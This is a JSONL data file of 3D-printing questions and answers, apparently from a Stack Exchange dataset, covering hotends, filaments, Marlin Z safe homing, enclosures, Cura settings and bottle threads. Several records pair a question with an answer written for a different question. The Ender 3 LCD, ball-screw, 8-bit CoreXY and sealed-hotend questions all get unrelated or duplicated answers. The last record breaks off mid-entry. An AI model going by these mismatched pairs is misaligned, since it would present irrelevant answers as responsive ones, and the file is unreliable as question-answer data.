{"id": "hf_7cf0d23f2a3c", "question": "<p>Currently, I'm using a Creality printer to print PLA (that's what I have on hand) but I'm definitely interested in working with other materials that require higher temperatures (both much higher, and just enough higher that the stock hotend is very marginal) in the future. </p>\n\n<p>I understand that all-metal hotends are less forgiving and that they particularly are not the best for printing PLA, and shouldn't be assumed to be an upgrade when only printing PLA. </p>\n\n<p>What I don't understand is, <em>how bad are they?</em> Are they so bad that I should plan on changing back to a PTFE hotend whenever I print PLA or ABS? Or are they suitable for use on a printer that is sometimes used for printing PLA and ABS and sometimes printing high-temp filaments?</p>\n", "question_body": "", "answer": "Are they so bad I should plan on changing back to a PTFE hot end?\nNo, all metal hot end are not that bad, and may even be beneficial when printing at higher temperatures. You mentioned that you want to print ABS and other such materials. At temperatures this high, my understanding is that the PTFE tube in the hot end may melt, or at least become so damaged that the hot end is blocked, leading to needing to replace the tube. My first 3D printer used a PTFE ho tend, which due to the printing temperatures I was using, and lack of knowledge of the many types of hot end, the tube got damaged after about 2/5 hours, leading to me needing to replace the tube. I eventually sent the printer back, got my money back and got a printer with an all metal hot end. That has never failed me in hundreds of hours of printing.\nAre not the best for printing PLA\nI have never had a problem printing PLA with an all metal hot end, however if you are printing just PLA, a PTFE hot end would be just fine, although not as versatile if you wanted to try different materials in the future.\nIn Summary:\nProvided you print fast enough (I regularly print at 60 mm/s) to ensure that no filament cools down in the hot end you should be fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.252980"}
{"id": "hf_f4f589d5b480", "question": "<p>Typically in Arduinos, most of the 5&nbsp;V outputs that have a limited amount of current (40&nbsp;mA). </p>\n\n<p>Are there any 3D printer boards, or is there even a more usual spot, where you can get a 5&nbsp;V output that isn't capped by the microcontroller?</p>\n\n<p>I know that USB 2.0 is (typically) limited to 500&nbsp;mA especally when connected to a laptop. Just wondering if there was a way to for e.g. get a 200&nbsp;mA output from one of the 5&nbsp;V pins, or more if there is a stronger power supply connected to the USB port. </p>\n", "question_body": "", "answer": "Any pin that is labeled as \"5 V\" can supply the full amount of current. Looking at, for example, the\nArduino MEGA pinout\n, we can see several pins labeled in red with \"5 V\". These are the pins you can use. Most 3D printer boards will expose the 5 V pins at several points. For example, the endstop connectors often have a 5 V pin that can be used.\nThe pins that are limited to 40 mA that you are thinking of are the digital pins, i.e. the pins that can be switched on/off by the microcontroller. These are actually more limited than this, and while in some cases drawing 40 mA from them may be possible, it is not a good idea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.298970"}
{"id": "hf_b0ef633f1dfe", "question": "<p>I want to be able to control my FLSUN QQ over Wi-Fi and don't have OctoPrint or a Raspberry Pi to run it on.</p>\n", "question_body": "", "answer": "Assuming you use Ultimaker Cura to slice, there is a MKS plugin that allows connecting to the MKS WiFi module that comes with the QQ. Just follow these steps:\nInstall the MKS WiFi Plugin\nOpen Cura\nClick \"Marketplace\" in top right\nSelect \"Plugins\"\nScroll down to find the \"MKS WiFi Plugin\"\nClick on the plugin.\nClick \"Install\"\nRestart Cura (quit and reopen)\nConfigure WiFi\nTurn on your QQ\nTap Settings\nTap WiFi\nEnable WiFi\nNote the IP address and network name\nConnect your computer to the printers network\nOpen your browser\ntype the IP address of your printer into the address bar\nhit enter\nScroll down to \"WIFI Configuration\"\nSelect STA\nEnter your home network SSID into the field labeled \"WIFI\"\nEnter the password into the field labeled \"KEY\"\nClick configure and reboot\nSetup your printer in Cura\nOpen Cura\nOpen settings > Printer > Manage Printers...\nClick \"MKS Wifi\"\nClick \"Add\"\nEnter the new IP address of your printer (can be found by opening WiFi settings on the printer)\nClick Ok\n7, Click connect.\nNow you should be connected to your printer. After slicing you should have the option to \"Print over FLSUN...\" In the Monitor interface you should have some other options such as sending commands to the printer, and printing any files already on the SD card, as well as uploading gcode files to the SD card.\nHappy Printing", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.354919"}
{"id": "hf_03bfe5929852", "question": "<p>Is there any DRM or license management solution for 3D printing? I'm looking for something, that would help me limit the number of prints someone can make from my projects. Basically, I would like to sell the \"right to make no more than X copies\" of my design. I don't expect it to be bullet-proof (like Widevine L1 for video), but it should at least help me with license management.</p>\n", "question_body": "", "answer": "Good luck with that.\nIssues you will face:\nusing a G-code editor (or built-in printer software) to create multiple copies of the object in a single print session\nuser writing the printer file to an SD card, then block-copying the SD card\ndefining a \"print\". Specifically:\nis #2 another functional copy of the object, or did #1 fail? Failed prints happen a lot.\nis #3 another functional copy of the object, or was #2 damaged in post-processing? Like removing supports or left it in the acetone 5 seconds too long and it's now a blob.\nis #4 another functional copy of the object, or was #3 tossed because the guy running the printer grabbed the wrong spool and made a perfectly good print in the perfectly wrong material/colour.\nis #5 another functional copy of the object, or was #4 damaged in shipping?\nThe whole process is one-way. There just isn't a path for anything other than the end user to know what they pulled off the print bed. Unless you make the entire process from design software to printer you won't change that. And good luck selling it, 'cause the user base is rather strongly opposed to that kind of thing. For example, ANY kind of DRM in the product, from printer software to filament, is an immediate no-buy for me. I don't care if you are paying me to take it, I will find an alternative without that particular annoyance. And no, I don't use Microsoft or Adobe products either.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.379393"}
{"id": "hf_104d066f3d1b", "question": "<p>I recently heard that the 3D printing lab at my college can do fused-deposition with ABS and PLA, but I would like to use TPU, for greater flexibility.</p>\n\n<p>Is it possible to feed a TPU filament into the same machine built for ABS/PLA? Or is there no difference? Assume the diameters of the filaments are the same.</p>\n", "question_body": "", "answer": "Most printers can print most filaments. However, some more exotic filaments are not suitable for all printers:\nTo print a flexible filament such as TPU, the filament path from the extruder needs to be well-constrained. A bowden extruder is generally less good at handling flexible filaments than a direct extruder. Some direct extruders without a well-constrained filament path may also be unsuitable.\nA printer without a heated bed won't be able to print filaments that tend to warp such as ABS.\nA printer without a (heated) enclosure won't be able to print filaments that tend to warp\na lot\nsuch as polycarbonate\nA printer with a PTFE-lined hotend won't be able to print filaments that require higher temperatures. PETG is at the upper end of what can be (safely) printed with a PTFE-lined hotend, while filaments such as polycarbonate require temperatures well outside the usable range.\nA printer with a standard brass nozzle won't be able to print (not long, anyways) abrasive filaments such as glow-in-the-dark.\nIt is likely the printer at your lab will be able to handle TPU just fine. If it is a bowden printer then you might have some difficulty printing but it might still work depending on exactly how soft the filament is and how well-constrained the filament path.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.437578"}
{"id": "hf_22160d4a1eaa", "question": "<p>If I have an issue with my FLSUN printer how can I contact customer support?</p>\n", "question_body": "", "answer": "I have had good luck contacting them via AliExpress\nhttps://flsun.aliexpress.com/store/2383013\neven though I bought my printer on Amazon.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.461625"}
{"id": "hf_2741f04ce857", "question": "<p>I find that white filaments are quite translucent and printing 5 layers of white filament onto 2 layers of black filament (at 0.2 mm layers, the white layers being 100% infilled and the underlying black layer covering about 85% of the whole area) produces a slightly grey color on the top.</p>\n\n<p>Is that a limitation of the white colour (or the actual material used)?</p>\n\n<p>Are there materials, that address this issue to some extent?</p>\n\n<p>Adjusting layer thickness while keeping the overall height won't change things, right?</p>\n", "question_body": "", "answer": "This could be caused by under extrusion, often caused by the bed being too close to the hot end / extruder nozzle. You could try to relevel the bed, or change the screws so that the bed moves down slightly. Often when levelling, you want to feel slight resistance when sliding a piece of paper between the bed an the nozzle. You should do this for all 4 corners. Be careful though, you dont want the bed too far away from the nozzle, or problems maybe arise with the print not sticking to the bed.\nHope this helps, Luke.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.505832"}
{"id": "hf_75649b6ab088", "question": "<p>I installed a BLTouch bed leveling probe on my printer which uses Marlin 2.0.5.3.</p>\n\n<p>Now the printer seems to be of two minds when it comes to finding the origin. Homing XY moves to the lower left as it always has, but homing Z moves not only to Z=0, but also to the center of the build plate. The printer knows this is (100,100,0) and is not mistakenly thinking it is (0,0,0).</p>\n\n<p>This causes some issues such as now the nozzle wipe at the beginning of a print happens right in the center of where the print is supposed to be.</p>\n\n<p>Is this expected behavior?</p>\n", "question_body": "", "answer": "This is a consequence of enabling\n```\nZ_SAFE_HOMING\n```\n:\nZ Safe Homing prevents Z from homing when the probe (or nozzle) is outside bed area by moving to a defined XY point (by default, the middle of the bed) before Z Homing when homing all axes with\n```\nG28\n```\n. As a side-effect, X and Y homing are required before Z homing. If stepper drivers time out, X and Y homing will be required again.\nEnable this option if a probe (not an endstop) is being used for Z homing. Z Safe Homing isn’t needed if a Z endstop is used for homing, but it may also be enabled just to have XY always move to some custom position after homing.\nMy default Cura start G-code contained this sequence:\n```\n```\nG28 X0 Y0 ;move X/Y to min endstops\nG28 Z0 ;move Z to min endstops\n```\n```\nI changed this to\n```\n```\nG28 ;safe homing\nG90 ;absolute positioning\nG0 X0 Y0 ; move to bottom-left corner for nozzle wipe\n```\n```\nHowever any oozing will still happen at the center of the build plate, which is a problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.541301"}
{"id": "hf_ea41e91ebe46", "question": "<p>My Ender 3 LCD display was working ok, I went to turn it on recently but is not showing any signal of life anymore...</p>\n<p>I have tried unplugging and plugging again, is there a way to test if the screen still works?</p>\n<p>What is the issue? Or should I just buy and install a new LCD?</p>\n", "question_body": "", "answer": "The fact that the bumps were in the same spots on multiple occasions points to z-axis problems. Turn your printer off and manually turn the z-axis all the way from bottom to top. If there are any tight spots, there is some\nz-axis binding\n. If there are no tight spots, skip to the last paragraph.\nTry taking off the z-axis by removing the set screws (pictured below). Remember which side was pointing up for a later step.\nOnce you do that, clean the screw thoroughly with a brush, cloth, solution, or a combination of those. Put the screw back in the opposite way this time.\nIf you get no bumps, then it was indeed the z-axis\nIf the bumps are still there, try lowering your temperature some more(200 is still a little high compared to what I do for PLA), and\ncalibrate your e-steps\nif you haven't already.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.616353"}
{"id": "hf_1aa1bd465892", "question": "<p>I have a few 3D printers and now want to start building a custom 3D printer.\nI want to build a 3D printer with multiple nozzles, and I want to make the hotend thin so the nozzles can be closer together.\nWhat is the thinnest nozzle avalible to buy?\nAre there any guides or details on how I could make a custom nozzle or modify a nozzle if I can't buy a thin nozzle?</p>\n", "question_body": "", "answer": "The size of the nozzle usually isn't the main factor for how close you can put nozzles together.  To keep the filament drive gear system from being the limiting factor, you would need Bowden extruders. \"Then, the heat sinks and fans would be your limiting factor.  Have you considered a single nozzle with three extruders?  Otherwise, you need custom angled heat sinks similar to the three heat sinks on a single nozzle, and still a way to orient the nozzles at the same Z-height.  That would be difficult if all the nozzles are on the same heater block.  It still seems that nozzle size is the least of the issues of putting nozzles close together.\nIf you search for smaller nozzle sizes, you will get nozzles with smaller openings, not smaller overall size.  The threads on the nozzles are a standard size.  Thus, the smaller opening size can't be put closer together than the larger opening size.  Otherwise, you have only small variations between different types of nozzles and need room to screw them in to the heater block if you put all of them into one block.  You can get a nozzle using a 6 mm hex wrench that is smaller than one using a 7 mm hex (E3D).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.786084"}
{"id": "hf_862ad990cb24", "question": "<p>I am building a medium-sized printer which needs to produce super-precise parts at a moderately fast print time. I frankly don't want to deal with belts or their tension issues but on the other hand, having ball screws on each axis will increase inertia...right?. I'm using Rexroth rails and will use (depending on what I decide) name brand belts or name brand ball screws.</p>\n", "question_body": "", "answer": "The size of the nozzle usually isn't the main factor for how close you can put nozzles together.  To keep the filament drive gear system from being the limiting factor, you would need Bowden extruders. \"Then, the heat sinks and fans would be your limiting factor.  Have you considered a single nozzle with three extruders?  Otherwise, you need custom angled heat sinks similar to the three heat sinks on a single nozzle, and still a way to orient the nozzles at the same Z-height.  That would be difficult if all the nozzles are on the same heater block.  It still seems that nozzle size is the least of the issues of putting nozzles close together.\nIf you search for smaller nozzle sizes, you will get nozzles with smaller openings, not smaller overall size.  The threads on the nozzles are a standard size.  Thus, the smaller opening size can't be put closer together than the larger opening size.  Otherwise, you have only small variations between different types of nozzles and need room to screw them in to the heater block if you put all of them into one block.  You can get a nozzle using a 6 mm hex wrench that is smaller than one using a 7 mm hex (E3D).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.809275"}
{"id": "hf_cdadc790ba54", "question": "<p>I had filament on my 3D45 coming out of threads on the nozzle.</p>\n<p>To fix this I removed the nozzle to find the PTFE Liner in really bad shape. It looked crushed and deformed. Now the tough part, how do I replace the PTFE Liner. You can't seem to buy the liner and getting a replacement nozzle assembly from Dremel takes weeks. Can anybody help me figure this out please, I really would like to get back to printing!!</p>\n", "question_body": "", "answer": "The initial problem you had with filament coming out of the threads at the nozzle is caused by improper seating of the heat break to the nozzle. In a \"from the ground up\" installation, you'd have an empty heat block, containing your heater core and your thermistor. Threaded into the \"bottom\" of the block is the nozzle, just a turn shy of being flush with the heat block. The heat break is the thin threaded segment extending from the heavily finned heat sink.\nThe heat sink/heat break combination is threaded into the heat block until it contacts the nozzle, at which time, the nozzle is snugged into place securely. This keeps continuous the filament path from the heat break to the nozzle. Somewhere in time, a gap opened between the two.\nWhen you have assembled everything (including the PTFE liner), you'll want to heat the extruder assembly to about 250 °C and re-snug the nozzle to the heat block and heat break. Hold securely the heater block, as you do not want to apply force that will snap or otherwise damage the fragile heat break. Use a wrench that fits the heater block without contacting the wiring. Use a wrench that will keep your fingers safe, as the heat block will be hot.\nStepping back in time a bit, when you remove the assembly, you should be able to determine the necessary length for the PTFE tube. I checked the manual for your printer and it is lacking in detail for this information. The diameters you've specified are standard and you should be able to locate a suitable substitute from many online sources. Amazon, Matterhackers, eBay, etc.\nExamine the heat break tubing. The diameter should not be so small as to allow you to push the PTFE tubing in from the heater block side, unless you have an unusually manufactured product. Dremel may have decided to create a new bit of engineering, but I'd expect not.\nYou'll purchase more PTFE than required and examination of the upper portion of the heat sink should give you a clue how much to use. When the cover of the extruder assembly is removed, is there a guide for the filament to make it easier to push through the PTFE tubing? If so, the length of the PTFE is from the bottom of the guide to the bottom of the bore of the heat sink/heat break assembly.\nPhotos of the upper entry to the heat sink/heat break, with the cover removed, would be useful, but you may have sufficient resources in hand to resolve your problem, once you replace the nozzle and purchase PTFE tubing of the correct size.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.869157"}
{"id": "hf_76098e264a96", "question": "<p>I'm printing 6 separate parts in one go, after 4 hours of printing one part failed, but the other 5 are printing nicely.</p>\n<p>Is there a way to prevent the print from printing the failed part and continue printing the other 5 parts.</p>\n<p>I'm using Cura and an Ender 3 printer.</p>\n", "question_body": "", "answer": "No, once you sliced the 6 parts on the build plate in your slicer, the G-code is fixed and the printer will print as the sliced instructions. During printing it cannot skip the code of a part that failed along the way; there is no way to interfere with the printing other than stopping the print. For that reason, many people don't pack the build plate too full, the more parts, the higher the chance it fails. You could print the part one after each other. Packing the plate with multiple parts is usually not faster than printing one at a time (if it fails you have nothing, otherwise a single failed print).\nDepending on the size of the parts you can also tell the printer to print each part on the plate one after another in a single job; note that the printhead dimensions limit this. If one fails you stop the job, but the already printed parts are saved. You can then commence a new print of cut the G-code and reprint the shortened file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.893376"}
{"id": "hf_e65b1e024b22", "question": "<p>Got my Ender 3 v2 and stack with the bed leveling.</p>\n<p>Used default settings, Creality slicer 4.2, test PLA from the kit and print model <a href=\"https://www.thingiverse.com/thing:3013319\" rel=\"nofollow noreferrer\">https://www.thingiverse.com/thing:3013319</a> (4 squares in each corner and 1 in the middle), nozzle 200 °C, bed 60 °C.</p>\n<p>After some adjustments, I have good solid pieces on the bed corners  but the center one has small gaps. Is it possible to fix this problem?</p>\n<p>Corner pice:\n<a href=\"https://i.stack.imgur.com/BGeA2.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BGeA2.jpg\" alt=\"enter image description here\" /></a></p>\n<p>Center piece:\n<a href=\"https://i.stack.imgur.com/gfSas.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gfSas.jpg\" alt=\"enter image description here\" /></a></p>\n", "question_body": "", "answer": "The gaps are, because the nozzle is to far from the bed at this point. It may sound like a big deal, but actually this is not leveling alone, but it looks like the bed is not a perfect plane/perfectly flat. This is normal, my ikea mirror and my stock bed show the same thing. Now here's one solution:\nPrint calibration stickers, like you already did on various places around the bed to get a feel, where it is too low. Let it cool and put painters tape (the very very thin tape, that should not burn) on areas, where the bed is too low. Print more calibration rectangles and check if you have enough. Repeat until you cannot see a difference.\nIt took me about 2h to level everything absolutely perfectly. This was 2 years ago and I didn't have to touch the tape below my bed ever since. It just works.\nAlternative solutions involve mesh bed leveling and buying a new bed surface or even the surface below the bed. However, I found that to neither of them work reliably, whereas the simple tuning does what it's supposed to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.918440"}
{"id": "hf_aaa230bb11a4", "question": "<p>I'm new to this game, and recently upgraded the hotend on my Ender 3 Pro to a <em>clone</em> of an E3D V6, as I'm keen to do nylon prints at some point. I noticed however that this one I got has a teflon liner which seems to negate the advantage of a metal hotend entirely.</p>\n<p>I'm wondering what temperature it's safe to run this hot end up to?</p>\n<p><a href=\"https://i.stack.imgur.com/6Uth3.jpg\" rel=\"nofollow noreferrer\" title=\"Teflon insert#2\"><img src=\"https://i.stack.imgur.com/6Uth3.jpg\" alt=\"Teflon insert#1\" title=\"Teflon insert#2\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/QazJ2.jpg\" rel=\"nofollow noreferrer\" title=\"Teflon insert#1\"><img src=\"https://i.stack.imgur.com/QazJ2.jpg\" alt=\"Teflon insert#2\" title=\"Teflon insert#1\" /></a></p>\n", "question_body": "", "answer": "It depends how\ndeep\nit goes. If the teflon goes into the hotend then yes, it will limit the temperature end.\nBut: the teflon may just be something that ends\nsomewhere\nin the cold side and sticks out so there is something to put into the extruder or higher up into the connector.\nI cam currently setting up a Slice Mosquito for a Bondtech DDX. The Mosquito is full metal, but there is a (actually printed nylon) adapter for the DDS. In this adapter you put a teflon/capricorn tube, that ALSO sticks out only around 5 mm. Here is the point though: it never goes into the even cold side and is only there so the connection to the extruder on top has a width limitation.\nSo, it really depends how\nlong\nthis tube is (and no-one here will know because a v6\nclone\nmay be different internally from the original). I would suggest pulling it out (it should move out easily) and then seeing how deep it goes. As long as it stays on the cold side before the heatbreak, it never gets in touch with anything that is hot.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:11.970214"}
{"id": "hf_8bb3606695d6", "question": "<p>I am building an enclosure for an Ender 3 Pro printer, and am planning on the power supply and LCD unit being outside the enclosure.  How important is it to move the printer controller (where the SD card is inserted) outside the enclosure?\nWould leaving it in place affect its longevity?</p>\n<p>Answers to the first round of comments/questions:</p>\n<ul>\n<li>I expect to be primarily printing in the 200C-270C range.</li>\n<li>I'm not worried about losing heat from opening the doors - I'll be putting the SD card in prior to initiating printing.</li>\n<li>I'm thinking the stepper motors are somewhat of a moot point, there's no way I could move them outside of the enclosure.</li>\n<li>My printer is all stock.</li>\n</ul>\n", "question_body": "", "answer": "It depends on what kinds of prints you make, and especially what kind of materials you want to use.\nCertain materials (ABS especially, but also PETG to some degree) will print\nmuch better\nif the entire build area, which usually includes the printer chassis and controls, is enclosed to protect from drafts and allow a much higher ambient temperature.\nIf you print often with these materials, and the control board is included in that enclosed area, you\nwill\nsignificantly reduce the life of the electronic components,\nespecially the capacitors on the board\n1\n.\nOn the other hand, if you print mainly with PLA, which is not as susceptible to issues requiring an enclosure, and prints better with an ambient temperature closer to room temperature, you can put the electronic controls wherever you want.\n1 See especially this excerpt from the section on \"Premature Failure\":\nElectrolytic capacitors that operate at a lower temperature can have a considerably longer lifespan.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.030064"}
{"id": "hf_aca4900bd1f4", "question": "<p>I am going to design and build a 3D printer. I want the highest quality and accuracy so nothing except that is important for me. Which cartesian design has the highest quality and accuracy? CoreXY, Prusa, or Gantry (Ultimaker)?</p>\n<p>Also, is it better to have a nozzle that moves in just direction &quot;X&quot;, directions &quot;X and Y&quot;, or &quot;X, Y and Z&quot;?</p>\n", "question_body": "", "answer": "The tradeoffs in these systems are all about quality achievable at particular speed and acceleration profiles. If you really don't care about speed at all and want maximum accuracy, you probably want some type of Cartesian setup with no belts, only rigid lead screws which you can take to as fine a pitch as you like, and you can make all the parts as rigid as you like because mass doesn't matter (since acceleration doesn't).\nNote however that extrusion accuracy is the limiting factor to quality and dimensional accuracy in even a half-decent printer. Rather than trying to design something with \"perfect\" spatial kinematics for quality from the outset, I think you should look at existing printers, figure out what about them isn't meeting your quality needs, and start from there to improve. You should also figure out what your speed constraints will be, even if they're only minimal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.054559"}
{"id": "hf_0449514b60eb", "question": "<p>I know that CoreXY kinematics is very complex and hard to calculate for the firmware making it better to use a 32-bit board. For some reason, I can't use any 32-bit board. What problems will occur if I use an 8-bit board like Arduino Mega with a CoreXY 3D printer?</p>\n<p>Everything that I wrote in this question about hard kinematic calculations was referenced from this video, <a href=\"https://www.youtube.com/watch?v=ySqj3gPqfrs\" rel=\"nofollow noreferrer\">HyperCube 3D Printer 8-Bit Speed Wall</a>, by Tech2c (the designer and builder of hypercube). After watching the video I doubted using an 8-bit board.</p>\n", "question_body": "", "answer": "The tradeoffs in these systems are all about quality achievable at particular speed and acceleration profiles. If you really don't care about speed at all and want maximum accuracy, you probably want some type of Cartesian setup with no belts, only rigid lead screws which you can take to as fine a pitch as you like, and you can make all the parts as rigid as you like because mass doesn't matter (since acceleration doesn't).\nNote however that extrusion accuracy is the limiting factor to quality and dimensional accuracy in even a half-decent printer. Rather than trying to design something with \"perfect\" spatial kinematics for quality from the outset, I think you should look at existing printers, figure out what about them isn't meeting your quality needs, and start from there to improve. You should also figure out what your speed constraints will be, even if they're only minimal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.078059"}
{"id": "hf_31aafe34e46e", "question": "<p>I'm trying to model the threads of a &quot;Poland Spring&quot; 500 ml bottle so I can 3D print an adapter for it. But I can't find information about it. I emailed them but they said they didn't have the information.</p>\n<p>How can I find this information out?</p>\n<p>The bottle seems to use non standard threads. It uses 3 threads 120 degrees apart that does not go all the way around.   Any information on how to get this information?</p>\n<p><a href=\"https://i.stack.imgur.com/nEnwV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nEnwV.png\" alt=\"bottle\" /></a></p>\n", "question_body": "", "answer": "You can use a program known as\nOpenSCAD\nwith the\nthreads library\nto assist your objective.\nThe important aspects of a thread are the major diameter (outside diameter at the thread surface), the length of the bolt/nut and for your project, the start count. The noted library has a parameter called n-starts, which covers your triple start requirement.\nIt may require some trial and error processing, but you have a good foundation with OpenSCAD library.\nEven if the bottle is manufactured with Imperial reference (unlikely), you'd probably have an easier time with metric threads. I just checked a Dasani water bottle, which measured at 27.27 mm major diameter, 10 mm length, thread pitch 2 mm. The thread pitch in metric is the distance between peaks (or valleys) from one to the next. This particular bottle has an interrupted thread, but that should not be a factor for creating an adapter.\nThis Dasani bottle does not have a multi-start thread. It's not a complete thread, but it is single start. Considering that a water bottle top has minimal length, you may also have an interrupted rather than a multi-start thread.\nThe code for the measured thread in OpenSCAD is relatively simple.\nuse <threads.scad>;\nthread_dia = 27.27;\nthread_pitch = 2;\nthread_length = 10;\nmetric_thread(thread_dia, thread_pitch, thread_length, n_starts = 3);\nThe above code would generate a 3-start thread in the form of a bolt. Using a difference() code would provide for the inverse required for your proposed adapter.\ntop image is single start, bottom is triple start.\nTop view comparison:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.125684"}
{"id": "hf_4a8f93849075", "question": "<p>Is there a way of reducing the amount and strength of Model support when slicing in Cura?</p>\n<p>Cleaning a model with large amounts of support can consume large amounts of time.</p>\n", "question_body": "", "answer": "You could reduce the\n```\nSupport Density\n```\n:\nA higher value results in better overhangs, but the supports are harder to remove.\nFurthermore read\nthis answer\non question: \"\nDifficult to remove support material\n\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.150514"}
{"id": "hf_518abdcb0e23", "question": "<p>Does anyone know of a hot end that is sealed? What I meaning is that the hot end has a rubber seal where the filament enters to keep the top airtight (in order to eliminate oozing).</p>\n<p>I am looking to build a dual extruder printer but, I do not want any oozing from the hot end which is not in use. I could build a system to retract and 'close' the nozzle but it would be much more elegant if it would work to just seal the top of the hot end. Thus achieving the same effect as when you pull up water with a straw by covering the top with your finger.</p>\n", "question_body": "", "answer": "You could reduce the\n```\nSupport Density\n```\n:\nA higher value results in better overhangs, but the supports are harder to remove.\nFurthermore read\nthis answer\non question: \"\nDifficult to remove support material\n\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:12.174498"}
{"id": "hf_0a203700333a", "question": "<p>Lately I've been having problems with overhangs not adhering when curvature is outward (stringing across instead) that look like what you'd see at insufficient temperature, and that go away with temperature jacked up a bit (PLA at 220 °C, which is a bit extreme) or fan disabled. Is it possible that the hotend thermistor has drifted and is no longer accurate, making the actual temperature lower than nominal? Or do these things fail hard when they fail?</p>\n", "question_body": "", "answer": "It is indeed possible that the thermistor is broken (yet not sure). I am aware of two types of issues with thermistors:\nThe contact (soldering) is broken, usually due to the temperature extreme variations. The thermistor will indicate the maximum temperature in case of PTC or minimum temperature in case of NTC. In some cases, due to vibrations or other factor, the contact will eventually touch, showing improbable jumps of temperature.\nThe thermistor is broken internally. In that case it will just indicate a wrong temperature. I can't say if constant temperature or constant delta.\nFor how to troubleshot the component, however, EE.SE seems more convenient.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": 